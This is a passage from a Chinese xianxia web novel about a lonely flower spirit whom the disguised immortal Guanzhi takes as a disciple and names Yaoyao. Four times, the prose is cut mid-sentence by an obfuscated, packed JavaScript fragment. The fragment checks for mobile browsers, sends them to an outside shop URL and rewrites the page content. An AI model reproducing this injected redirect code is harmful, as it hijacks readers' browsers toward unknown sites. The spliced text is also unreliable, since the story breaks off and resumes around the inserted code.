观执心中一惊,这老榕树果然无所不知,方才他运气打坐都被他知晓,却也不知道力量边界在哪,他以后行事务必更加小心。 “老夫看得出你是外面来的大人物,虽然不知道到底是谁,但身份应该不俗,如今落到我无尽森地界,老夫也应尽地主之宜。” 观执不置可否,只是微微一笑:“榕仙谬赞了,在下只是一介散修。” “哈哈,无妨无妨,”榕树并没有对此对加在意,只是沉吟了片刻,声音凝重了一些,“我知道你对小花妖有兴趣,但是她不是什么坏孩子,还请仙人放过她。” 观执面上笑容微微一顿,思绪已经在心里转了好几个弯,但是面上偏偏不动声色:“小花仙心思纯善,在下深感钦佩,何来放过一言?” “后生不用这样说,老夫根系遍布整个无尽森,一些事情该知道的还是知道的,”老榕树声音轻描淡写,但是很快又凝重了几分,“那是外面飘来种子,她以为自己是蒲公英,但是在老夫看来,这孩子远非池中之物,虽不知是什么,但也知道无尽森困不住她,也不能困住她,可像她这样的奇花异草,想来多人觊觎,老夫既然统领无尽森,自然会照看这些孩子,若有必要绝不会坐视不管。” 观执听得不动声色,心中却有了判断,他不知道老榕树力量边界到底在哪里,是否和他一般能感知生物的心绪流动,若是如此,自己此刻灵力全无,在他心里岂非透明? 他向来对一切尽在掌握,洞若观火,第一次感觉到自己心思居然反被别人拿捏,心中难免生出一丝微妙的不适,语气里不由自主带了一丝不寻常的冷硬。 “榕仙多虑了,若妖族不曾伤天害理,自是其中生灵,在下怎么无端干涉?” 话音刚落,观执就不禁皱了皱眉,这种陌生情绪仿佛在他心中荡开徐徐涟漪,像是一个石子“噗”的一声,落入他这颗古井无波的道心之中。 “如此便好,如此便好。”榕树似乎没听到他言语里冷意,只是笑笑,还挪了挪树叶,给他空出了一大块地,让月华倾斜而下,露出那一方小小的被切割了细碎的月亮。 然而做完这一切,榕树也不再说话,只有树叶沙沙声,仿佛已经收回来视线。 观执看着头顶明月,又看了看榕树方才给他采集的月练精华,心却一点点沉下来。 还是得想办法早点离开这里,不过在此之前还得清楚那个小花妖到底是什么情况。 月练精华没有问题,老榕树全知全能,此刻若要害他,不必如此曲折,赠予月华,估计也是示好,借着这点东西,好引出他后面“警告”。 既然如此,观执也不和他继续客气,用了那精华洗濯了灵脉,感觉那针扎的封印逐渐松动,他方才凝神坐下,双手结成莲印,引天地灵气入体,修复经脉。 * 小花妖睡梦前,她脑子还在叽里呱啦乱转,无数个念头和画面就在她意识里乱转,那是狼狈地,局促地……还有最后的蜜饯,依次在她意识里不断重复。 观止过去并不认识她,她原本可以重新开始的,只要安抚下自己的“刺”,那她就是一个正常的,普通的蒲公英。 但是她这朵“普通”的蒲公英还没坚持多久,却又在别人面前,暴露了自己的模样。 似乎总会这样,她也不想这样的,可是每一次认识新的朋友,她总会暴露自己本性,然后就又渐行渐远。 难道说自己本来就是这么一朵又笨,脾气又坏,还不礼貌的花吗。 真的是什么好品质都不沾。 当她起来的时候,却发现身上柔软一片,带着荷叶的芳香,低头一看,居然是那个她做得荷叶柳絮的被子盖到她身上了。 小花妖心中不禁雀跃起来。 他居然过来给她盖被子诶,那这么说得话,他是不是没有那么讨厌她? 小花妖开开心心起来,整理了一头凌乱的卷发,用她捡来的柳树枝在两边扎好,她仔仔细细梳了,又带上了她之前在人间街市里买的绒花,但是这朵绒花年代有些久了,都有些起毛了,就连颜色不可避免的黯淡了下来。 但她也只能吹了吹上面莫须有的灰尘,又掰了掰早就变形的花瓣,最后才把它簪在鬓间。 她对着房间里那个变形的铜镜看了看自己模糊的倒影,又快速洗了一把脸,刷了牙,这才走出了房门。 观止并不在,她的小床也是平平整整的,仿佛没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125834|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人躺过,她的枕头都乖乖放在原地。 他是离开了吗? 小花妖沉默了,方才雀跃起来的心也跟着一点点沉下去,像是从高空狠狠坠地,沉进那片她早已习惯的、名为“果然如此”的泥潭里。 她知道自己不讨喜,观止这么好看的人一定见多了好东西,一定会嫌弃她这些的吧,就像是昨天的药……其实她看出来了,观止并不想喝。 她真是不应该,明明他不喜欢还要强迫他喝,她真是一朵坏花。 “小花妖,小花妖,”就在她陷入这片自责地几乎挣脱不开的泥沼的时候,她听到窗外传来的声音,“你捡的那个人正在教我们法术呢,你这么笨,还不过去听一下?” * 原来观止没有走,是去上课了。 那是榕爷爷新开辟的一个地方,会从头顶投下白色的光柱,里面有光尘挥舞,那是榕爷爷给他们投下的光,旁边还有一些细碎散落的光斑,如同随意一把豆子一样零零碎碎散开,点亮了地面,但是这些光落在身上的时候本身是没有暖意的,榕爷爷从下面往上,给这些光注了几分灵力,才让他们落到身上的时候多了几分温暖。 底下毛茸茸的苔藓也随着都舒张开身体,从暗绿的墨绿变成晶莹的明绿,旁边的蕨草也仿佛在睡梦里被人推了一下,随着光柱伸了一个懒腰。 她心中开心,就绕开了这颗蕨草,让自己从旁边过去。 这让她觉得开心,但是很快,她又不开心了。 她在这里名声不太好,现在过去,这么多妖在,是不是他就会知道她是一朵坏花了? 此刻,说话的是这里另外一株蒲公英,她长得小小一团,身上也是毛茸茸的,头顶乖顺的梳成发髻,每一缕都像是丝绸那样顺滑,和她毛毛躁躁卷发完全不一样。 小花妖低着脑袋,想要遮住自己毛毛躁躁的头发,甚至于头上绒花都想要摘下来收在袖中,以至于本来就已经变形的绒花捏的更加摇摇欲坠。 伴随着轻微的,更类似于心底原来啪嗒,随着她刚刚暴躁的动作,小花妖看见花瓣掉了一朵,就落在地上,她看看了看手里的花,又看了看花瓣,忽然没来由一阵烦躁。 明明之前她才那么珍惜,可是现在看着已经掉了花瓣,却觉得剩下都没了意义,像是和莫须有的东西赌气一样,小花妖揉吧揉吧,想要把剩下的花都给丢了。 但是却有一只手在绒花落地前,把它们“解救”了出来。 他没有弯腰,只是手轻轻一抬,那被她揉乱的花瓣就落在他掌心,虚虚拖着。 那是很好看的手,有着恰到好处的骨骼感,洁白修长,让她想起榕树爷爷为了让昙花盛开而投下的月光,她曾经见过一次,看到那弥漫的月光把那抹白都染上了一份幽静的色调。 “绒花很好看。”他一边说着一边动着手腕,小花妖也看不清他是怎么动的,只能感觉那双漂亮的手,如穿针引线一般,用万物浮动的光芒重新编织,那团被他揉乱的绒花就在手心重新绽放,鲜嫩如同刚刚从枝头摘下,变得和刚刚买来时候的一模一样。 接下来,小花妖就看见他把绒花重新放在她手里,面上是温柔的笑意,就像是她在无尽森外头看过的荷叶尖上滚动的露珠,盛着金色的暖阳,他慢慢地,却又温和开口:“为什么要丢了呢?” 5. 第五章 他越是语气温和,就越显得她脾气暴躁,她真是一朵暴脾气的蒲公英。 明明他对她张开了手,绒花在他手里,他的手也很漂亮,如同月光下的昙花,就连指尖都有些亮晶晶的,就像是笼着一层弥漫的轻纱。 小花妖想去拿,末了她却又收回手,先背到身后,想要擦一擦自己的掌心。 但是也就在这个迟疑间,对方却又靠近了她一些,像是以为她不愿意接受一样,低了低头,小花妖就感觉那漂亮的手摸到她的头发,然后他亲自将那朵花带到了她的发髻里。 “很好看,”他笑了笑,像是森林里撒下的光柱,把林子照成一片温暖的翠绿,“你选的花很衬你。” 听到他这么说,小花妖脸上莫名一红,但是还记得实话实说:“不是我选的,”她声音有些小,“是柳絮姐姐选的,这个最便宜,我就只买得起这个。” 话音落下,便听到了一声轻笑,不是之前那浅淡的弯了弯嘴角,这一声笑从他喉咙里发出,像是在闷笑,如同拂过她耳畔的气流,但是很快,他又抵了抵唇,压下了这个笑意:“抱歉,”他说,“在下只是从未见过会有人会这样回答……如此有趣。” 小花妖眨了眨眼,他的意思是在说她说得形容词不对吗?还是他有别的什么意思? 过去很多时候都是这样,明明她是在认真说话,却会惹得满堂哄笑,尖利、讥讽、肆意的笑声从四面八方涌来,她甚至不知道对方是在笑什么,只是觉得自己像被明晃晃拉到阳光下暴晒。 但是此刻,她没有听出观止声音里熟悉的、恶劣的讥笑,反而如同一段她不懂的音符,像是一个她看不到却又存在的东西,让她倍感困惑。 “你的朋友正在各自按照进度引气入体洗涤筋脉,”他的声音恰好打断她纷乱的思绪,观止又恢复之前温和的笑容,“不知你如今是在何种境界,可有何难处?或许我能相助一二。” 她的……朋友吗? 这个陌生的词汇像一团黏糊糊的东西堵在喉咙,让她觉得此刻不管是点头还是摇头都很心虚,就在她不知道应如何应对的时候,身边就传来一个笑声,娇娇弱弱的,像是三月里盛放的桃花:“她啊~可厉害了,是我们这里最厉害了,或许是先生在外面都难得一见的天才呢?” 小花妖抬头一看,发现是桃花捂着唇在后面轻笑。 就算她笨,她也知道她绝对不厉害,过去听过奚落的,嘲笑的,明晃晃的恶意,但是现在这句“厉害”,就如同一阵软软风,一个不痕迹的刺,她感觉到他们落了下来,却又落入了一片黑沉沉的空洞里。 她明明不是这样想,却又要这样说,小花妖感觉到极致的困惑,如此困惑之下,她反而有些不知道如何反驳,觉得周围人都安静下来,只能听着森林里无所不在的嗡鸣声。 在这片寂静里,她心里就出现了声音。 三、二、一……三、二、一…… 这是她在倒数数字,如此循环两次以后,她才又听到了前面的声音: “原是如此,”观止声音听不出什么,只是冲着她点了点头,“那烦请姑娘同在下过来。” 另外一株蒲公英似乎想说什么,却又被桃花抓住,比了一个噤声的手势,然后身后又断断续续来了许多草木精灵,嘻嘻哈哈的笑声在后面跟着附和:“是啊是啊,她可厉害了,先生在外面或许都没见到过呢。” 明明她被观止带着往前走,但是实际魂都飞到身后去了。 她厉害吗?他们为什么要这么说? 她感觉到似乎有个她看不清的东西,如同她方才看不清观止为何要笑,但是如果说之前那个“不知道”如同一种融融的暖意,但是此刻,她却觉得心底似乎被挖了一个深渊,让她面对那一片难以理解的浩瀚。 观止一直把她带到森林深处,这里虫鸣声都安静了下来,就连嗡鸣声都低了,唯剩下榕树盘根错节的根系。 小花妖此刻的心思还在为旁边那“厉害”困惑打结,却听到一声温柔的声音从头顶上响起:“原是如此。” 她抬起头,就看见观止目光深深看着她,如同刚刚苏醒的无尽森,墨绿即将被唤醒,逐渐开始变浅,那是在将明未明之后的蒙昧之时,一切都朦朦胧胧的亮。 这点亮虽然不足以驱散黑暗,却足够让她感觉到一点带着希望的光。 “他们对你不好,”观止问她,“方才为何不反驳?”他斟酌片刻,似乎在掂量什么,“就像……之前那样。” 之前,之前? 小花妖迟疑了一下,瞬间,当时和柳树的对峙就闯入脑海,她脸“刷”一下红了,声音已经不由自主脱口:“不是这样的,”她给自己解释,“那一次是他突然……突然……” 她想说是柳树突然过来“教训”她,但是话到了嘴巴,她却又迟疑了。 现在回想起来,她难道没错吗,柳树那时候虽然是让她道歉,但是明明前面好声好气的,是她后面没控制住脾气,她越想越觉得自己是个坏花,最后脑袋都垂了下来。 她认命了,就当做是她错了,现在她一点也不想解释了。 原本会以为接到劈头盖脸的一番训斥,却没想到,观止却弯下腰,看向她低垂的视线,与他平视:“我是说,是方才他们的奚落,为何你不反击呢?” 哦,原来是这样。 但是这是为什么……小花妖又卡住了? 她为什么不反击?难道她就抓着柳树好欺负,那不更说明她是一朵坏花了? 好在下一刻,他说的话她完全听明白了:“听榕仙说你阴气入体有些困难,在下猜测许是你经脉有异,在下曾习得一些法术,可探查一二,不知姑娘意下如何。” 看着他堪称认真的表情,小花妖后知后觉地明白过来。 原来不是来教训她的,是说她经脉的事情了。 但是既然是这么简单的事情,他为什么一开始不说清楚,还绕了一个大圈呢? 看起来果然是自己笨,听不懂聪明人一早的暗示,这才东扯西扯的说了这么久。明白这个事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125835|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,小花妖当下就觉得不能再浪费她的时间了,她干脆地把手往他面前一放,还利落地拉起袖子:“给!” * 观执:“……” 虽然早就知道这朵花心思有些不一样,但是看着这个场景,他难免还是再次被震撼了一下。 之前看着她一副呆呆傻傻的样子,观执就发现她估计又没听懂,他干脆也不再迂回曲折,而是直接表明了来意,但是没想到她居然这么……痛快。 要知道让外来灵力入侵自己的体内,是任何一个修行者都警惕的事情,所以他方才借此铺垫了这么多,就是为了引得她的“需要成长”,万万没想到,她居然这么利落把手一伸,如此简单如此纯粹,倒显得他……心思深沉。 面前小花妖看着他,不知道想到了什么,又下意识想要收回手,观执反应过来,直接抓住了她的手。 “冒犯了。”他轻声开口。 作为天道执掌,观执可以一眼看到对方的灵府,看到他们每一丝念头拨开某一条的丝线,荡开某一寸的涟漪,所有人的过去、未来、现在,每一个念头都在他面前一览无余。 除了这朵碎骨莲,他无法看到她,不是因为灵力尽失,而是他从根本上就无法“定义”她。 碎骨莲的事情牵连太大,哪怕此刻有榕树无声无息监视一切,他也必须早点清楚这朵花的危害性。 所以方才借着教导名义帮她去看,原本以为要费一番唇舌,但是看着这样坦然伸手的碎骨莲,他还是难免心震了片刻。 但是这一切对于天道来说,不过是偶然落在肩头的雪花。甚至察觉不到凉意,落下来,拂去便是。 于是他没有再去管这片无关紧要的雪花,而是让自己分出一丝灵力,以尽量不惊扰的样子,一点点探入她的灵府之中。 然而甫一进入,他感觉到自己又是深深被那片“无关紧要”雪花砸了一下。 世人的灵府大多都是阡陌纵横的鲜明天地,即便因为道心不稳有些杂乱,大多情况下也是可以依稀看到这些阡陌的主干道,那是大差不离的地方。 但是这朵碎骨莲的灵府却迥然不同,自他成年以后,真正执掌天道数千年以后,他从未见过如此……错综复杂的灵府。 每一条路都极度狭窄,每一寸地都荒草遍布,即便有一些粗壮的干道也是独立存在,唯有一条纤细的,摇摇欲坠的游丝相连,他甚至无法查探到她灵府的每一寸土地,如同一道错综复杂荒草遍布的巨大迷宫,其中甚至还有潮湿的水汽,传来如同归墟一般蓬勃又无序的混沌之力。 只是这股力量被那重重杂草包裹,被错综复杂的小路掩盖,若将来一朝突破,后果简直不堪设想。 观执收了手,灵力从她灵府中撤回。然而他睁开眼,便对上她那双清澈又困惑的眸子。 坦荡、清亮、还有胆怯。 这样一双眼睛,与方才“看见”的那片无序荒芜的天地,迥然不同。 他没有掩盖目光,而是深深地、探究一般看着她。 6. 第六章 感觉到他凝神的目光,小花妖有些紧张。 之前就看着他久久不动作,她就担心是不是自己太热情了,对方觉得不好,所以下意识收了手,但是他那时候重新抓住了她。 很温暖的手,她的体温常年偏凉,如同是从深海里打捞上来的冰块,晒再多的阳光都没用,但是他的手心却带着融融的暖意,像是被阳光晒得松散的干草,干燥又温暖,被抓的时候就觉得化在她最喜欢的被子里。 她很喜欢这个温度,本来是很开心的,但是看到他这样,她又担心起来。 是她灵府出问题了吗,是她太笨了吗,是根本没办法修行了吗? 那一瞬间,巨大恐慌压倒了她,让她想到最坏最坏的可能。 如果眼前的这位外面来的“高人”也无法帮助她,那她岂不是要完蛋了。 “无妨,”就在她满心不安的时候,她听到了他声音,一如既往的温和稳定,“灵府并无大碍,只是姑娘心思纯粹,天资……聪颖,假以时日,定然修行有成。” 然而小花妖却明显听到他语气里夹带着迟疑。 是不是根本修行不了,他这是在哄她,让她不要失望? 小花妖有些茫然,觉得这个心似乎一点点沉到了谷底,像是夜里躺在冰冷石板上看着星星,寒凉浸润了她的全身。 过了片刻,眼前大漂亮抿了抿唇,似乎在下达什么决定,过了好一会儿,小花妖方才重新听见了他的声音:“既如此,姑娘可愿随我修行?” 随他……修行? 这句话像是一束光一样瞬间照下来。 这似乎应该是开心的,但是想到他刚刚的凝重,想到他的迟疑,小花妖又不开心了。 一定是她太笨,他又太好心,所以不忍心吧。可是想起之前的“喝药”,小花妖觉得自己不能再做让他为难的事情了。 “不用了,”她声音有些低,虽然是自己说出的拒绝,但是她心里像是落空了一样,像是亲手处决了自己刚刚长出花苞急于盛放的花,“我挺好的,不用麻烦的。” “……” 小花妖虽然有些不了解这个大漂亮为什么又不说话了,但是仿佛是说给自己鼓劲,也仿佛是想要他安心,她再度诚恳地摆了摆手:“真的不用啦,”她摸了摸鬓角的绒花,“你给我修复好绒花我就很开心了,我的很笨的,教不起来,为了防止你未来……失望,还是不要麻烦了。” “……” 小花妖感觉到大漂亮有一瞬间沉默,直到感觉到天空飘落的落叶栖息在她发梢,然后听见他更加放缓了声音,轻声但简单问她:“你是不愿意吗?” 不愿意? 当然不是! 小花妖连忙摇了摇头:“我愿意的,我自己很愿意的,但是我太笨了,我……”她声音低了低,目光落在脚下榕树的根系上,磨磨蹭蹭才接上下半句,“我不想让你觉得我笨。” * 观执:“……” 她居然……拒绝了? 他见过太多的人,照理说那些所有人的心思在他面前都无所遁形,但是此刻,他竟然觉得有些没办法理解这朵碎骨莲的话,并非是过于复杂,而是他觉得……可是明明所有的话所有的路都摆在了她的面前,一览无余的剔透,却更让他无从了解。 正如他看到那个见所未见的灵府,即便看到了,也会怀疑是否真的存在。 “小花妖,你就答应他吧,”就在她用脚尖一下下踢着脚下的榕树刚刚飘落叶子的时候,榕树的声音就从头顶盘旋的风中响起,“他长得那么好看,跟他学又不亏,再说笨就笨点,我看他也不是会嫌弃的你,跟着学吧。” 虽然早就知道榕树根系遍布四处各地,但是每次这声音突兀响起,还是让观执觉得心中一阵震荡,但是面前的小花妖却习以为常,她摩挲着树叶,声音却还是低低的,像森林里刚刚探出头,试探着的脆弱嫩芽:“可是……” “别可是了,”榕树很快打断了她的话,接下来,观执就听见那榕树和自己说话,“后生,我把这孩子交到你手里,你可要好好教她,孩子笨了点,但是心眼不坏,你可要耐心一些。” 观执从那小花妖身上抽回神思,意识还没回来,声音却已经笑着飘出了:“是,谨遵榕仙教诲。” “好,这不就行了,”树叶被风吹得沙沙作响,榕树似乎打了哈欠,“行了,行了,就这么吧,我要睡觉了,你们随意。” 在此之后,他果然没有再出声,就连树叶沙沙声音都已经停下来,方才还一脸拒绝说不要他的碎骨莲也已经因为榕树的话收拢了话语,只是睁着一双明亮的眼睛一眨不眨看着她,如同阳光下的琉璃般透亮。 观执也从这一场近乎匪夷所思闹剧般的“收徒风波”里回过神,她就对着小花妖笑了笑,又露出那和煦且温和的笑意:“既然如此,你便算是我的弟子,是否可以告知我你的……姓名了?” 想起上次“芳名”引发的事故,观执特意缓了词汇,确认这话能听懂。 但是没想到随着他话语落下,这朵花却又垂下脑袋,半天都没吭声,他正觉得诧异,小花妖却已经瓮声瓮气的回答了:“没有。” 观执一开始没有反应过来,下意识就问了一句:“什么?” 小花妖抽了抽鼻子,别开他的注视:“榕爷爷说,我是外面飘来的种子,没有父母没有名字,这里已经有蒲公英了,所以我不能直接叫蒲公英,大家都叫我小花妖。” 观执沉默了片刻,他明白了。 顿了顿,他便再缓和了一些声音:“既然如此,我给你取个名字如何?” 小花妖眼睛一下子就亮了,但是很快,她又重新垂下眼,声音听起来还有些自暴自弃:“可是我不知道想要什么样的名字。” 观执却只是思忖片刻,然后笑着开口:“既然如此,我唤你瑶瑶可好?” “瑶瑶?”小花妖有些懵,迟疑地重复他的话,似乎在询问这个名词的含义。 “炎帝之女瑶姬,化为瑶草,虽长于山野,但蓬勃绵延,望姑娘亦如此。” 瑶草瑶草。 小花妖想起来了,她听说过,那是故事一种吃了会招惹喜欢的草,他说得蓬勃绵延她听不懂,但是这个含义她喜欢。 不过小花妖此刻有些不好意思开口,往日里,那些小妖们都会给她取很多名字,什么刺头,什么钢针,还会用一种尖细的笑声叫她“真真”,她知道怎么应对那些,却不知道如何应对观止此刻的瑶瑶。 于是她垂着头,目光就落在自己脚尖上,却发现上面早就褪了色的流苏,她下意识想要藏一藏,却更加局促的发现,这一身衣服似乎都随着她的个头小了许多,她现在还没到能随意变化衣服的地步,这还是攒钱从花妖姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125836|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐那里买的。 这个念头一出,她的意识就开始有些发散,像是悬浮在什么温水里飘飘忽忽被水流推远,直到一阵风吹来,伴随着身后窸窸窣窣的声音,她回过头,发现是小妖们估计等了太久,就凑了过来,在后面探头探脑,窃窃私语什么。 像是孩子找到了什么宝藏,唯恐会被后面的人抢走,小花妖这时候也顾不得什么,她抬起头,重重地对着观止“嗯”了一声,但是这之后,她声音却又低了下来,之后的话都卡在喉咙里,像是要发不出来。 观止这时候就提醒她:“这时候你可以说‘多谢老师赠名’。” 像是终于在这个飘飘荡荡的海里面找到一根浮木,小花妖想也不想,顺着他投递下来的浮木刻就攀了上去,不假思索地乖巧重复:“多谢老师赐名。” 听到她这么说,观止顿了顿,视线也微微下垂,但是很快,他又重新扬起温和的笑意:“好。”他说,“走吧。” 从那片密林出来以后,小花妖……瑶瑶才发现一件事,自己的衣服不知道什么时候换了,不再是之前那件不合身的粗布拼接的衣服,而是一身流云轻纱一样的,上面坠着星星点点的光辉,裙子底下倒映出晚霞一般的颜色,就连头发都乖顺地梳上了,她伸手一摸,就摸到满头柔软的绒花和冰冷的光滑的东西。 “算是给弟子的小礼物,”就在她对着自己脑袋摸个不停的时候,前面传来了观止的声音,“如此,瑶瑶要好好修行,持身克己,戒骄戒躁,束行以礼,方能道果圆满。” 她却好像没听见后面的话,都被他这个称呼吸引。 瑶瑶,她的“名字”。 她心中雀跃,觉得周围风都轻盈了,让她的思绪都跟着风飘远,又像是脑子“砰”地一声,像是被点亮了一片蒙尘的区域,透进一点光来,于是水波随着因此荡漾开来,点亮了这一片区域,尘埃也被抚去,露出明艳崭新颜色,就像观止给她“擦亮”的绒花。 瑶瑶正沉浸在这片明艳崭新里,直到她感知到了什么目光,回头一看,观止正在看她。 瑶瑶立刻收拢了心情,乖乖地就像是把身上刺都收起来的刺猬,露出柔软乖顺肚皮。 虽然他说得她有些听不懂,但是大抵上应该是让她好好学习吧,瑶瑶不敢一开始就表现出笨蛋,遂对着他扬起一个笑容,但是想了想,又觉得不对,红着脸补充了一句:“谢谢老师,学生……学生记住了。” 明明很简单的几个字,但是她讲起来尤其生涩,仿佛一个不甚规整的轮子,在土地上吱呀吱呀生涩地滚动。 “好,”好在观止老师什么都没有说,只是轻轻点了点头,“便在前方捡一个位置坐下吧。” 其他小妖们早就已经坐好了,方才过来探头探脑的桃花妖他们也乖乖坐着,只是时不时回头看了看她,窃窃私语着什么,瑶瑶看着那些坐满的小妖们,忽然有些踌躇,她在原地徘徊没有过去。 老师注意到了,他便停下来看她。 “老师……”一个问题堵在她喉咙里,让她很想问,却又不知道自己要不要问,直到鼻尖嗅到那芬芳复杂的花香,感受到树叶婆娑的浮动,想起榕树爷爷之前让观止“收下她”的声音,瑶瑶心一横,她忽然很想问问他,是不是只收了她一个弟子,还是说…… 她看了看那群坐着的小妖们。 这些也都是他的弟子呢? 7. 第七章 观执其实知道她想问什么,这孩子难理解的时候让他都束手无策,但是好理解的时候又把心思直接摆在了脸上。 他便等着她问出那句话,然后他就可以顺理成章地告诉她,修行应该不骄不躁,不以物喜,不以己悲,风不动是为心动,让她理所当然不要理会“是否独特”,而是沉下心修行。 他便等着“瑶瑶”询问。 然而他这个新收的弟子只是看着他,那双清澈的眼睛就这样直勾勾地看着,就在他已经沉下心,打算用她所理解的话说出那些话的时候,她却只是巴巴看了他一会,喉咙滚动了一下,然后询问:“老师我坐哪里?” 瞬间,才准备好的话都被这一句话纯粹的“坐哪里”硬生生地堵了回去,他听到自己声音都有些飘忽:“哦,前面找个位置就行。” * 靠近观止的位置都已经坐满了,瑶瑶左看看右看看,最后看见最靠近他手边还有一个位置,所以就从后面搬了蒲团,正打算坐下,但是方才一动,衣服上就传来拉扯感。 回头一看,是桃花妖无辜的抓着她衣服的腰带,无所谓地摆了摆手,口中却还是在嬉笑:“只是想看看你这衣服怎么了,啧,这颜色穿在你身上,估计我要几天都不能穿晚霞色了。” 瑶瑶感觉到一股冰凉凝涩之气直冲脑门,明明已经听过无数这样的话语,但是她却还是不知道如何应对,应该生气吗?可是对方什么都没说,应该听不懂吗,可是她分明听出了期间她难以理解的奚落。 她感觉到身上的刺蠢蠢欲动,几乎要冲破这身漂亮的衣裳。 “瑶瑶,”就在她心虚不稳的时候,她感觉到肩膀上落下一只手,是她这位老师轻轻拍了拍她肩,压下了她混乱的心绪,也安抚了她即将爆炸的毛刺,“持身,克己,戒骄,戒躁。” 持身克己,戒骄戒躁。 是他之前说的,瑶瑶一开始听不懂,眼下方才有些明白过来。 原来持身克己,戒骄戒躁是叫她忍下来吗? 就和老柳树他们说的一样,桃花妖没有太坏心思,就是说话不好听,所以让她不要在意? 瑶瑶有些茫然了。 就连身上衣服触感都变得明显,像是朝着初生的嫩芽盖上去的绸缎,轻软软又沉甸甸,让她分不清到底是重量还是温软。 她心中有太多的困惑,但是她才刚刚拜师,不想惹老师生气,就垂下眼,轻轻地“哦”了一声。 瑶瑶就在观执身边坐了下来,离着她很近。 她刚刚坐下来时候听到后面若有似无的轻语,她听不清,却觉得他们一定在说她的衣服,也在说她这个……位置。 毕竟过去有人过来上课,她都是抱着蒲团待在角落的。 难道这一次也要在角落? 这个念头一出,她很快就否认了。 不对,这可是她的老师啊,老师还刚刚给她换了新衣服,她当然有资格坐在第一排! 想到这里,她背脊都挺直了,像是要给自己添加什么底气似的。 观止语速很慢,但是瑶瑶从左边耳朵听进去,又从右边耳朵出来,什么叫做引气归于丹田意守,所有话她都懂,合起来怎么就不懂呢。 气是什么,怎么引,又怎么样叫守呢?是把注意力放在丹田就可以了吗? 她越想越迷茫,就觉得自己的意识就像是一团看似聚集在一起的云雾,但是每当她她要仔细去看,想要伸手尝试,这团云雾就要从旁边散开,让她在抓不住之余,产生了熟悉的挫败。 她干脆放弃了努力,只是让自己把目光投放他的身上。 老师真好看啊,皎洁得就像是天上的月亮,尤其是这一身白衣,更是洁白像是冬日里的积雪。 这样好看的人,就是她老师了。 瑶瑶难免心中有些喜悦,连带整朵花都精神了不少,喜滋滋听着他那些令人发困的话,她硬生生忍住了,连个哈欠都没打。 等到上半节课下课,小妖们都朝着观止拥了过去,还特地挤了挤她,把她挤到了人群外围。 这本应是再熟悉不过事情,可是此刻她心中却雀跃一种念头,她也想要挤过去,挤到老师面前说话,想要老师用温和声音叫她瑶瑶,好让他们知道她是老师的弟子,她还有新名字了。 但是这个念头在脑子里绘声绘色,落到实地却好似什么都没发生,瑶瑶看着前面挤得满满当当人群,渐渐垂下眼帘。 还是…… 念头还没落定,忽然,她听到前面传来清泉一样的声音:“瑶瑶。” 周围风声好像停了,那些在树根缝隙里伸长脖子的小花也停止了摇摆,阳光从榕爷爷枝叶繁茂的树梢里洒落,投下温暖的飞扬光尘的光柱,仿佛把她心底也照得融融一片。 “瑶瑶,”他再喊了一声她的名字,站在她面前,温和却又足够清晰地问她,就像是在绿荫里长出的唯一一朵小花一样引人注目,“你课上是否有哪里不清楚的?” “我……我……”她心里积攒了太多问题想问,但是看到他的目光时候却觉得无从问起,她能说什么,总不能说没听懂吧,或许是求生欲之下,让她本能抓住了一个最简单的问题,“丹田在哪?” 这个问题一出,惹得周围传来一声嗤笑,桃花妖的声音最醒目,像一根针扎过来:连丹田都不知道还敢过来听课?” 小柳树精也跟着笑了两声,虽然没那么刺耳,却像一把钝刀子,磨得她耳朵生疼。瑶瑶觉得脸上火辣辣的,像是被人扇了一巴掌。 她是不是问了一个过于愚蠢的问题,怎么办,老师会不会也会这么想? “是在这里。”他却好像没有听见那些嗤笑,温和虚空点了点她的肚脐某一处,瑶瑶立刻感觉到一种热流顺着她筋脉涌出,那一瞬间,她脑海里就只剩下这一个念头。 原来丹田在这里,原来气是这样,原来引气是这样的! 仿佛是瞬间打开了一个死结,原本在脑海里混杂的云雾也散开了一些,露出明艳的花瓣,瑶瑶眼睛一下子就亮了,亮到足以忽略身边那些嗤笑。 “我知道了,谢谢老师!” * 观执看着她雀跃的表情,也跟着笑笑,但是意识却不动声色留在她的灵府,之前他查探的时候,留了一丝自己的气息。 现在他感觉随着他方才那样一点,她灵府里原来如游丝一般摇摇欲坠却又荒草丛生的“路”加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 